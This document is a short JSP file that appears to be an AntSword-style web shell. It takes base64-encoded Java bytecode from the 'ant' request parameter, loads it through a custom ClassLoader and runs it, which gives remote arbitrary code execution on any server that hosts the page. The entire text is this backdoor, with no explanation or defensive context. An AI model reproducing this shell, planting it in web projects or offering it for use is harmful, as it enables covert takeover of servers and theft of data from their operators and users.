<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>